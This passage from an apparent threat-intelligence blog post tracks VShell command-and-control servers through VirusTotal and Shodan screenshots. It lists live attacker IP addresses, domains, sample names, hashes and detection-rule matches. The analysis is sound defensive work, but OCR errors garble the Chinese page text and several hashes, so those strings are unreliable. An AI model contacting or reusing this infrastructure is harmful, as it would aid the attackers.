we already know from our analysis. This strengthens our hypothesis that this Shellcode is in fact VShell.
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C Reanalyze == Similar~~  More

156.238.236.130 (156.238.232.0/21)

AS 137899 (I LAYER LIMITED) — 12 days ago

DETECTION DETAILS RELATIONS COMMUNITY ' 3

Passive DNS Replication (5)

Date resolved Detections Resolver Domain
2025-01-24 /94 VirusTotal Jingluoai.top

2024-06-22 /94 VirusTotal aikala.site
2020-12-01 /94 VirusTotal xgfckf.cn
2020-07-19 /94 VirusTotal ae-asia.com

2019-08-17 /94 VirusTotal ¢pl12594.com

Communicating Files (4)

Scanned Detections Type [ ET T
2025-06-16 /72 Win32 EXE 1b9fc3deel041def28608020415c09341e9d373469%dfc76194a85013ce226e

271c91f3dcf5202673d1a27a05419d9bd91aelc22cdb781f55f99bfefa27af30N.
exe

2025-07-04 Win32 EXE vshell.exe

2025-01-03 f12 Win32 EXE

2025-06-16 Win32 EXE tcp_windows_amd64.exe

On Shodan, we noticed that this same IPv4 address also has other services, including a web server.
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Shodan Report ..

/7 GENERAL

Organization

High Family Technology Co., Limited

/7 HTTP INSIGHTS

Website Titles

301 Moved Permanently
403 Forbidden
404 Not Found

ERsEhE

When we enter the web server through an isolated environment, we can see that although VirusTotal tells us that

the origin was the United States, it hosts a Chinese-language web server.

[m] /s Home | BEZEINE x  +
< O © Notsecure | hitpsy//156.238.236.130
J. =
D Home
Name Size Modified

B AKHASMRAZ2 (K#) - 2025-01-25 11:57:23

B MKHASMRRAE (&#) - 2025-01-25 11:57:03

B

* TGREK/ANVE BALSE WRRKE

¢ REFRAGMNEARSESRE, BREAZREATHAEHEHSZLENT R KOASMRAE, BFFRHENT
BEBRAAZ BRTEERS, DRBIAZRHOFLEIF-—TRIEF

s ARFLHRETREUSE, BREBRSRD -84, AETHLARERAHAAIMNAZIALGTHOAE

s ZE—Hak
pt:

e wNanoCloud VPN

g7 NanoCloud 17cHZ VPN RB# %

ABEX

e 4l & e s

When we analyze the IPv4 address 121.37.80.227 , VirusTotal immediately tells us that its origin is also in
China.
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C Reanalyze = Similar~ More v

121.37.80.227 (121.36.0.0/15)

AS 55990 (Huawei Cloud Service data center) : 9 days ago

Also in the Relations tab, despite not having samples with the exact name identified previously, we are presented
with a sample identified in a similar way to the previous ones, as ¢ windows_amd64.exe ‘. The novelty here is that

there are two other ELF samples for Linux systems.

C Reanalyze == Similar~  More

121.37.80.227 (121.36.0.0/15)

AS 55990 (Huawei Cloud Service data center ) : 9 days ago

DETECTION DETAILS RELATIONS COMMUNITY 2

Passive DNS Replication (1) ©

Date resolved Detections Resolver Domain

2025-04-18 /94 VirusTotal €c5-121-37-80-227 compute.hwelouds-dns.com

Communicating Files (3) ©

Scanned Detections Type Name

2025-06-25 /65 ELF 9cb6fa5e3fe2fdd035c6eT634986aaadde625d68e1f0344558f262818f58385f lf
2025-07-01 /71 Win32 EXE windows_amd64.exe
2025-05-15 [ 64 ELF memfd

Files Referring (1) ©

Scanned Detections Name

2025-06-25 [ 65 9chEf45e3fe2fdd035c6e7634986aaadde625d68e1f0344558f262818f58385f elf

When analyzing one of the ELF samples correlated with the Command and Control server 121.37.80.227 ,itis

possible to observe that one of the signatures indicates that this sample is a VShell.
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C Reanalyze = Similar -~

9ch6fase3fe2fdd035c6e7634986aaadde625d68e1f03445581. .. Size Last Analysis Dat

9cbefa5e3fe2fdd035c6eT7634986aaadde62506821f0344558f . .. 9.5TKB 9 days ago

elf  p4bits  detect-debug-environment

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY ' &

Crowdsourced YARA rules O
Crowdsourced IDS rules ©

MEDIUM 1 LOW 2

/N Matches rule ET POLICY Python-urllib/ Suspicious User Agent at Proofpoint Emerging Threats Open

A\ Matches rule (tcp) experimental TCP options found at Snort registered user ruleset

A\ Matches rule TGI HUNT Python User-Agent to Bare |P Address at Travis Green: Threat hunting rules

Popular threat

- Threat categories trojan  downloader Family labels r02c0de725  sagnt
abe

Security vendors' analysis () Do you want to automate checks?

AliCloud

Conclusion

We have reached the end of the analysis of this campaign and other examples that share the same code patterns
and infrastructure. VShell is probably the OST most used by China-Nexus Threat Actors, so identifying them in
your infrastructure is a suspicious indicator and deserves your due attention. I hope you enjoyed reading this post

and learned something new from it. See you next time.
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